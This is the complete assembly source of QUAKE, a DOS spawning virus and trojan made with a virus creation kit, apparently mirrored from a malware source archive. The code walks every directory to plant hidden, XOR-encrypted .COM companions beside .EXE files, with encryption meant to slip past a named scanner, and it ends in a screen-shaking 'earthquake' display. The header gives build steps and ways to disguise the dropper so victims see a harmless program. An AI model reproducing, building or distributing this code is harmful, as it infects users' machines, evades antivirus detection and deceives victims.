mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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715 lines
30 KiB
NASM
715 lines
30 KiB
NASM
; -----------------------------------------------------------------------------
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; QUAKE.ASM
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; Created with Nowhere Man's Virus Creation Laboratory v1.00
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;
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; Heavily modified VCL and Original Code by the best Bleeding Edge virus
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; writer: Night Breeze. See you all in fuckin' HELL!
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;
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; This is a "spawning" virus and, technically, a trojan horse. First time it
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; is run, it will do the earthquake thing - but only after infecting another
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; file first! When the infected file is executed (in it's directory) then it
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; will infect another file and run the app. Then, when all files on that drive
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; are infected, it will again do the earthquake thing!
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;
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; Build instructions:
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;
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; Assemble QUAKE.ASM to QUAKE.COM
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; d:\tasm\tasm /mx /m2 /q /t quake
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; link quake;
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; exe2bin quake.exe quake.com
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;
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; Run QUAKE.COM and file the infected file...<g>
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; Find file
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; ATTRIB *.COM -r -h
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;
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; Get a copy of that file as it is encrypted...
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; COPY filename.COM \mydir\TEMP.COM
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;
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; Compile QINJECT.PAS
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;
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; Cat the two files:
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; COPY /b TEMP.COM+QINJECT.EXE QUAKE.EXE (i know, overwrites)
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;
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; Now, QINJECT actually as the same strings (most) as QUAKE.COM, so if the
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; user types or debugs the program, will see the strings. The REAL virus
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; is hidden, and encrypted, at the start of QUAKE.EXE (it's really a com file).
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;
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; NOTE: The flag SHOW_FLAG is used to allow an intial infection, then to all
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; the victim to see an apparently good program - although he is getting
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; fucked :)
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;
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;
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; If all that was too hard... just distribute the enclosed EARTH.EXE program:)
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;
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; -----------------------------------------------------------------------------
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code segment byte public
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assume cs:code,ds:code,es:code,ss:code
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org 0100h
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start label near
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; -----------------------------------------------------------------------------
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main proc near
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call encrypt_decrypt ; Decrypt the virus
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start_of_code label near
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inc Show_Flag ; Inc infect count
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mov si, offset spawn_name ; Save a copy of the
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mov di, offset save_name ; file to "spawn"
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cld
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mov cx, 14 ; It's allways 14 bytes
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rep movsb
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call search_files ; Find and infect a file
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mov al,byte ptr [set_carry] ; AX holds ALL INFECTED value
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cmp al, 0 ; Have we infected all files?
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jz Effect ; If so, then do it!
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cmp Show_Flag,3 ; Should we show display?
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jl Effect
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jmp short end00
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Effect:
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call EarthQuake ; Let's do it!
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jmp short Finito ; And don't run app!
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end00:
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mov ah,04Ah ; DOS resize memory function
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mov bx,(finish - start) / 16 + 0272h ; BX holds # of para.
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int 021h
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mov sp,(finish - start) + 01100h ; Change top of stack
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mov si,offset save_name ; SI points to true filename
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int 02Eh ; DOS execution back-door
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Finito:
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mov ah,04Ch ; DOS terminate function
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int 021h
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main endp
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; -----------------------------------------------------------------------------
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search_files proc near
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push bp ; Save BP
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mov bp,sp ; BP points to local buffer
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sub sp,64 ; Allocate 64 bytes on stack
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mov ah,047h ; DOS get current dir function
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xor dl,dl ; DL holds drive # (current)
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lea si,[bp - 64] ; SI points to 64-byte buffer
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int 021h
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mov ah,03Bh ; DOS change directory function
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mov dx,offset root ; DX points to root directory
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int 021h
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call traverse ; Start the traversal
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 64] ; DX points to old directory
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int 021h
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mov sp,bp ; Restore old stack pointer
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pop bp ; Restore BP
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ret ; Return to caller
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root db "\",0 ; Root directory
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search_files endp
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; -----------------------------------------------------------------------------
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traverse proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first function
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mov cx,00010000b ; CX holds search attributes
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mov dx,offset all_files ; DX points to "*.*"
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int 021h
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jc leave_traverse ; Leave if no files present
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check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
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jne another_dir ; If not, try again
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cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
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je another_dir ;If so, keep going
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 98] ; DX points to new directory
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int 021h
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call traverse ; Recursively call ourself
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pushf ; Save the flags
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mov ah,03Bh ; DOS change directory function
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mov dx,offset up_dir ; DX points to parent directory
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int 021h
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popf ; Restore the flags
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jnc done_searching ; If we infected then exit
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another_dir: mov ah,04Fh ; DOS find next function
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int 021h
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jnc check_dir ; If found check the file
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leave_traverse:
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mov dx,offset exe_mask ; DX points to "*.EXE"
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call find_files ; Try to infect a file
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done_searching: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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up_dir db "..",0 ; Parent directory name
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all_files db "*.*",0 ; Directories to search for
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exe_mask db "*.EXE",0 ; Mask for all .EXE files
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traverse endp
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; -----------------------------------------------------------------------------
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find_files proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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push dx ; Save file mask
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first file function
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mov cx, 00100111b ; CX holds all file attributes
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pop dx ; Restore file mask
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find_a_file: int 021h
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jc done_finding ; Exit if no files found
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call infect_file ; Infect the file!
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jnc done_finding ; Exit if no error
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mov ah,04Fh ; DOS find next file function
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jmp short find_a_file ; Try finding another file
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done_finding: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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find_files endp
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; -----------------------------------------------------------------------------
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infect_file proc near
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mov ah,02Fh ; DOS get DTA address function
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int 021h
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mov di,bx ; DI points to the DTA
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lea si,[di + 01Eh] ; SI points to file name
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mov dx,si ; DX points to file name, too
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mov di,offset spawn_name + 1; DI points to new name
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xor ah,ah ; AH holds character count
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transfer_loop: lodsb ; Load a character
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or al,al ; Is it a NULL?
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je transfer_end ; If so then leave the loop
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inc ah ; Add one to the character count
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stosb ; Save the byte in the buffer
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jmp short transfer_loop ; Repeat the loop
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transfer_end:
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mov byte ptr [spawn_name],ah; First byte holds char. count
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mov byte ptr [di],13 ; Make CR the final character
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mov di,dx ; DI points to file name
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xor ch,ch ;
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mov cl,ah ; CX holds length of filename
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mov al,'.' ; AL holds char. to search for
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repne scasb ; Search for a dot in the name
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mov word ptr [di],'OC' ; Store "CO" as first two bytes
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mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
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mov byte ptr [set_carry],0 ; Assume we'll fail
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mov ax,03D00h ; DOS open file function, r/o
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int 021h
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jnc infection_done ; File already exists, so leave
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mov byte ptr [set_carry],1 ; Success -- the file is OK
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mov ah,03Ch ; DOS create file function
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mov cx, 00100011b ; CX holds file attributes
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int 021h
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xchg bx,ax ; BX holds file handle
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call encrypt_code ; Write an encrypted copy
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mov ah,03Eh ; DOS close file function
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int 021h
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infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
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ret ; Return to caller
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; -----------------------------------------------------------------------------
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spawn_name db 0, 12 dup (?),13 ; Name for next spawn
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save_name db 0, 12 dup (?),13 ; Name for current spawn
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show_flag db 0 ; When 0 & 1 then show display
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set_carry db ? ; Set-carry-on-exit flag
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infect_file endp
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; =============================================================================
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EarthQuake proc near
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call InitCrt ; Initialize the vars
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call DrawFrame ; Draw a frame in middle of screen
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mov cx, 2 ; Make some noise
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call Siren
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mov si, OFFSET Warning ; Put Msg 1
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mov dx,0718h ; Move to Row 8, column 20
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call WriteStr
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mov cx, 1
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call Siren
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mov si, OFFSET ToHills ; Put Msg 2
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mov dx,0A16h ; Move to Row 10, column 18
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call WriteStr
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mov cx, 2 ; More noise
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call Siren
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call Shake ; Shake the screen - it's a quake!
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call DrawFrame ; Draw a frame in middle of screen
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mov si, OFFSET MadeIt ; Put Made It Msg
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mov dx,081Fh
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call WriteStr
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cmp Show_Flag, 3
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jl EarthDone
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mov si, OFFSET BurmaShave ; Put Logo
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mov dx,0C36h
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call WriteStr
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EarthDone:
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ret
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EarthQuake endp
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Warning db '* * * Earthquake Warning! * * *', 0
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ToHills db 'Head for the hills! Take cover!!!', 0
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MadeIt db 'Whew! We Made It!', 0
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BurmaShave db '-=[VCL/BEv]=-', 0
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Table struc ; Structure of the Shaker Table
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Iters db 0 ; Number of interations (quakes)
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Cols db 0 ; Scroll number of columns
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Pause dw 0 ; And then wait this much time
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Table ends
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QuakeTable Table < 3, 1, 500>
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Table < 4, 2, 250>
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Table < 5, 3, 175>
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Table < 6, 4, 100>
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Table <10, 5, 30>
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Table <20, 5, 10>
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Table <10, 5, 30>
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Table < 5, 4, 100>
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Table < 4, 3, 175>
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Table < 3, 2, 250>
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Table < 2, 1, 500>
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Table < 0, 0, 0> ; End of data
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; -----------------------------------------------------------------------------
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Shake proc near
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mov si, OFFSET QuakeTable ; Get pointer to table
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xor cx,cx
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ShakeNext:
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mov cl, [si].Iters
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jcxz ShakeDone
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ShakeInner:
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push cx ; Save for later
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push si ; ditto
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xor ax,ax ; duh...
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mov al, [si].Cols ; Number of columns to scroll
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push ax ; Get Ready
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call ScrollRight ; Go...Scroll Screen to right
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pop si ; Restore it
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cmp [si].Cols, 3 ; Check if we are scrolling more than 3
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jle ShakeCont1 ; If less or equal then skip vert scroll
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mov ah, 6 ; Scroll up 1 line
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call Scroll ; Do it.
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ShakeCont1:
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mov cx, [si].Pause ; delay period
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call Delay ; Wait around a bit
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push si ; And save our table index for l8r
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xor ax,ax ; duh...
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mov al, [si].Cols ; Number of columns to scroll
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push ax ; Get Ready...Set...
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call ScrollLeft ; Go! ... Scroll screen left
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pop si ; And restore our table index
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cmp [si].Cols, 3 ; Check if we are scrolling more than 3
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jle ShakeCont2 ; If less or equal then skip vert scroll
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mov ah, 7 ; Scroll up 1 line
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call Scroll ; Do it.
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ShakeCont2:
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mov cx, [si].Pause ; pause again
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call Delay ; Do it.
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pop cx ; Get back our iteration counter
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Loop ShakeInner ; Keep going
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add si, 4 ; Move to next table element
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jmp short ShakeNext ; Keep on doing it...
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ShakeDone:
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ret
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Shake endp
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; -----------------------------------------------------------------------------
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; in: cx = number of times to do the siren
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Siren proc near
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KeepGoing:
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push cx ; Save the count
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mov ax, 880 ; Freq
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mov bx, 500 ; Duration = 1/2 second
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push ax ; Put Freq on stack
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push bx ; Put Duration on stack
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call Beep ; Make a noise
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mov ax, 660 ; Freq
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mov bx, 500 ; Duration = 1/5 second
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push ax ; Put Freq on stack
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push bx ; Put Duration on stack
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call Beep ; Make more noise
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pop cx ; Restore the count
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loop KeepGoing ; So we can keep going
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ret
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Siren endp
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; -----------------------------------------------------------------------------
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; ds:si points to the null terminated string to print
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; dx has row/col - dh=row
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WriteStr proc near
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mov bh,0 ; We'll be working on page 0
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WriteMore:
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mov al,[si] ; get the next character to print
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cmp al, 0 ; done yet?
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jz WriteDone ; Yep, so quit
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inc si ; si++
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mov ah,2 ; locate cursor at dx
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int 10h ; do it
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push cx ; save it for later
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mov cx,1 ; count of characters to write!
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mov ah,10 ; subfunction 10
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int 10h ; call bios to do our dirty work
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pop cx ; get it back
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inc dx ; move to next cursor position
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jmp short WriteMore ; keep going for cx
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WriteDone:
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ret
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WriteStr endp
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; -----------------------------------------------------------------------------
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DrawFrame proc near
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push bp ; Work around a stoopid bug in PC/XTs
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mov ax, 0600h ; Draw and clear the outer frame
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push ax ; Save for later
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mov cx, 050Ah ; Upper screen coords: CH = ROW
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mov dx, 0D46h ; Lower bounds, DH = ROW
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mov bh, 70h ; Color is White Background, Black fore
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int 10h ; Do It.
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pop ax ; Draw and clear the inner frame
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mov cx, 060Ch ; Upper screen coords: CH = ROW
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mov dx, 0C44h ; Lower bounds, DH = ROW
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mov bh, 0Eh ; Color is Black Background, Yellow fore
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int 10h ; Do It Again
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pop bp ; End of stoopid fix
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ret
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DrawFrame endp
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; =============================================================================
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ScrollRight proc near
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push bp
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mov bp, sp
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mov ax, [bp+4] ; calc ColsToMove <- LEN shl 1
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shl ax, 1 ; multiply by 2
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mov ColsToMove, ax ; And save it
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mov bx, NumCols ; calc WordsToScroll <- NumCols - LEN
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sub bx, ax ; adjust for scroll difference
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inc bx ; BX = WordsToScroll
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mov ax, VidSegment ; Put ES = Video Segment
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mov es, ax
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xor ax, ax ; Start on row 0 aka 1
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sr_NextRow:
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push ax ; Save for later
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mul LineWidth ; AX now has ROW * LineWidth
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push ax ; Save start of row offset for printing
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add ax, LineWidth ; AX points to last byte of the row
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sub ax, ColsToMove ; This moves back 1 LEN of ch/attr pairs
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mov di, ax ; save in DEST
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sub ax, ColsToMove ; AX now moves back another LEN pairs
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mov si, ax ; save in SOURCE
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mov cx, bx ; BX = Words to Scroll
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push ds ; Stash this
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push es ; Make DS = ES
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pop ds ; Like this
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std ; Set SI and DI to decrement
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rep movsw
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pop ds ; Get the DS back
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pop di ; Grab the Source Offset we saved above
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mov cx, [bp+4] ; Prepare to print LEN blanks
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call PrintBlank
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pop ax ; Saved row
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inc ax ; Move to next row
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cmp ax, 25 ; Done with all rows?
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jne sr_NextRow ; No? Then do next row!
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mov sp, bp
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pop bp
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ret 2
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ScrollRight endp
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; -----------------------------------------------------------------------------
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ScrollLeft proc near
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push bp
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mov bp, sp
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mov ax, [bp+4] ; calc ColsToMove := Len Shl 1
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shl ax, 1
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mov ColsToMove, ax
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mov bx, NumCols ; calc WordsToScroll := pred(NumCols) shl 1
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mov ax, VidSegment ; Make ES point to the video segment
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mov es, ax
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mov es, ax
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xor ax, ax ; Start on row 0 aka 1
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sl_NextRow:
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push ax ; Save Row for later
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mul LineWidth ; calc AX := Row * LineWidth
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push ax ; Save Start of Line
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mov di, ax ; This is where it's going
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add ax, ColsToMove ; calc AX := AX + ColsToMove
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mov si, ax ; This will be our source
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push ds ; Stash for later ...
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push es ; Make DS = ES = Video Segment
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pop ds
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mov cx, bx ; BX = Words To Scroll
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cld ; Set SI and DI to decrement
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rep movsw
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pop ds ; Get our DS back...
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pop di ; Grab the Source Offset we saved
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add di, LineWidth
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sub di, colsToMove
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mov cx, [bp+4] ; Prepare to print some blanks
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call PrintBlank ; Do It
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pop ax ; Get back out row value
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inc ax ; And move to next row
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cmp ax, 25 ; first check if we are done
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jne sl_NextRow ; If now, then do next row
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mov sp, bp
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pop bp
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ret 2
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ScrollLeft endp
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; -----------------------------------------------------------------------------
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; In AH = 6 scroll up
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; = 7 scroll down
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Scroll proc near
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mov al, 1 ; We will always scroll 1 line
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xor cx, cx ; Set Top Row/Col to (0,0)
|
||
mov dx, 184Fh ; Set Bottom Row/Col to (24,79)
|
||
mov bh, 07h ; Use a normal blank
|
||
push bp ; Work around a lame bug on PC/XTs
|
||
int 10h ; Do Bios...Oh Do Me Now
|
||
pop bp ; And continue fixing that st00pid bug
|
||
ret ; I really feel sill doc'g this routine...
|
||
Scroll endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
PrintBlank proc near
|
||
; In ES - Video Segment
|
||
; DI - Offset to print blank at
|
||
; CX - Number of blanks to print
|
||
cld ; store forward (increment DI)
|
||
mov al,' ' ; We want to print a blank
|
||
PrintAgain:
|
||
stosb ; put in one blank char
|
||
inc di ; skip video attribute
|
||
loop short PrintAgain
|
||
ret
|
||
PrintBlank endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
; All the routines dealing with Sound and Delays - especially the delay
|
||
; calibration routine were mostly stolen from Kim Kokkonen's code in earlier
|
||
; version of Turbo Professional. KK is the owner of Turbo Power - a damn good
|
||
; set of programming tools - plug plug!
|
||
; Beep(Hz, MS:Word); assembler;
|
||
Beep proc near
|
||
push bp
|
||
mov bp, sp
|
||
mov bx, [bp+6] ; hertz
|
||
mov AX,34DDH
|
||
mov DX,0012H
|
||
cmp DX,BX
|
||
jnc beepStop
|
||
div BX
|
||
mov BX,AX ; Lots of port tweaking... Isn't
|
||
in AL,61H ; this shit fun???
|
||
test AL,3
|
||
jnz @99
|
||
or AL,3
|
||
out 61H,AL
|
||
mov AL,0B6H
|
||
out 43H,AL
|
||
@99:
|
||
mov AL,BL ; I know I never get bored.!!
|
||
out 42H,AL
|
||
mov AL,BH
|
||
out 42H,AL
|
||
BeepStop:
|
||
mov CX, [bp+4] ; push ms delay time
|
||
call Delay ; and wait...
|
||
|
||
IN AL, 61h ; Now turn off the speaker
|
||
AND AL, 0FCh
|
||
out 061h, AL
|
||
mov sp, bp
|
||
pop bp
|
||
ret 4
|
||
Beep endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
; In: cx = delay in ms
|
||
Delay proc near
|
||
delay1: ; What's to say... a tight loop
|
||
call delayOneMS ; counting milliseconds
|
||
loop short delay1
|
||
ret
|
||
Delay endp
|
||
|
||
; =============================================================================
|
||
DelayOneMS proc near
|
||
push cx ; Save CX
|
||
mov cx, OneMS ; Loop count into CX
|
||
DelayOne1:
|
||
loop delayOne1 ; Wait one millisecond
|
||
pop cx ; Restore CX
|
||
ret
|
||
DelayOneMs endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
Calibrate_Delay proc near
|
||
mov ax,40h
|
||
mov es,ax
|
||
mov di,6Ch ; ES:DI is the low word of BIOS timer count
|
||
mov OneMS, 55 ; Initial value for One MS's time
|
||
xor dx,dx ; DX = 0
|
||
mov ax,es:[di] ; AX = low word of timer
|
||
CalKeepOn:
|
||
cmp ax,es:[di] ; Keep looking at low word of timer
|
||
je CalKeepOn ; until its value changes...
|
||
mov ax,es:[di] ; ...then save it
|
||
CalDoMore:
|
||
call DelayOneMs ; Delay for a count of OneMS (55)
|
||
inc dx ; Increment loop counter
|
||
cmp ax,es:[di] ; Keep looping until the low word...
|
||
je CalDoMore ; ...of the timer count changes again
|
||
mov OneMS, dx ; DX has new OneMS }
|
||
ret
|
||
Calibrate_Delay endp
|
||
|
||
; -----------------------------------------------------------------------------
|
||
InitCrt proc near
|
||
mov ah,15 ; Get Video Mode
|
||
int 10h
|
||
cmp al, 7 ; Check if this is monochrome
|
||
je DoneInit
|
||
add VidSegment, 800h
|
||
DoneInit:
|
||
mov byte ptr NumCols, ah ; Set the number of Character Cols
|
||
shl ah, 1 ; Mult by two for number of vid bytes
|
||
mov byte ptr LineWidth, ah ; And stash it...
|
||
ToneInit:
|
||
call Calibrate_Delay
|
||
ret
|
||
InitCrt endp
|
||
|
||
; =============================================================================
|
||
VidSegment dw 0B000h ; Base Video Segment
|
||
NumCols dw ? ; Columns on Screen
|
||
LineWidth dw ? ; NumCols * 2
|
||
ColsToMove dw ? ; Number of video bytes to move each time
|
||
OneMS dw ? ; Calibration value for 1 ms of time
|
||
|
||
; =============================================================================
|
||
encrypt_code proc near
|
||
mov si,offset encrypt_decrypt; SI points to cipher routine
|
||
|
||
xor ah,ah ; BIOS get time function
|
||
int 01Ah
|
||
mov word ptr [si + 9],dx ; Low word of timer is new key
|
||
|
||
xor byte ptr [si],1 ;
|
||
xor byte ptr [si + 8],1 ; Change all SIs to DIs
|
||
xor word ptr [si + 11],0101h; (and vice-versa)
|
||
|
||
mov di,offset finish ; Copy routine into heap
|
||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||
push si ; Save SI for later
|
||
push cx ; Save CX for later
|
||
rep movsb ; Copy the bytes
|
||
|
||
mov si,offset write_stuff ; SI points to write stuff
|
||
mov cx,5 ; CX holds length of write
|
||
rep movsb ; Copy the bytes
|
||
|
||
pop cx ; Restore CX
|
||
pop si ; Restore SI
|
||
inc cx ; Copy the RET also this time
|
||
rep movsb ; Copy the routine again
|
||
|
||
mov ah,040h ; DOS write to file function
|
||
mov dx,offset start ; DX points to virus
|
||
|
||
call finish ; Encrypt/write/decrypt
|
||
|
||
ret ; Return to caller
|
||
|
||
write_stuff: mov cx,finish - start ; Length of code
|
||
int 021h
|
||
encrypt_code endp
|
||
|
||
end_of_code label near
|
||
|
||
; -----------------------------------------------------------------------------
|
||
encrypt_decrypt proc near
|
||
mov si,offset start_of_code ; SI points to code to decrypt
|
||
nop ; Defeat SCAN 95B
|
||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||
inc si ; Do the next word
|
||
inc si ;
|
||
loop xor_loop ; Loop until we're through
|
||
ret ; Return to caller
|
||
encrypt_decrypt endp
|
||
|
||
finish label near
|
||
|
||
code ends
|
||
end main
|
||
|